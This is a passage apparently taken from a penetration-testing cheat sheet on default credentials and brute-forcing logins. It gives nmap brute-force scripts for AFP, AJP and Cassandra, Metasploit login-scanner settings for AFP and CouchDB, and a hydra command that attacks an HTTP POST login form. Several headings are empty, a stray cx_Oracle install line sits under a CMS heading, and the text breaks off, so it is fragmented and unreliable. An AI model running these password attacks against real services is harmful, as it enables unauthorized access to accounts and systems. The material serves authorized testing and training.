Wait a second, have you tried to use default credentials??

Search in google for default credentials of the technology that is being used, or try this links:

Service

Ordered alphabetically by service name.

AFP

nmap -p 548 --script afp-brute <IP>msf> use auxiliary/scanner/afp/afp_loginmsf> set BLANK_PASSWORDS truemsf> set USER_AS_PASS truemsf> set PASS_FILE <PATH_PASSWDS>msf> set USER_FILE <PATH_USERS>msf> run

AJP

nmap --script ajp-brute -p 8009 <IP>

Cassandra

nmap --script cassandra-brute -p 9160 <IP>

CouchDB

msf> use auxiliary/scanner/couchdb/couchdb_login

HTTP Generic Brute

HTTP Basic Auth

HTTP - Post Form

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V

For https you have to change from "http-post-form" to "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

pip3 install cx_Oracle --upgrade

​Offline OracleSQL hash bruteforce (versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3):
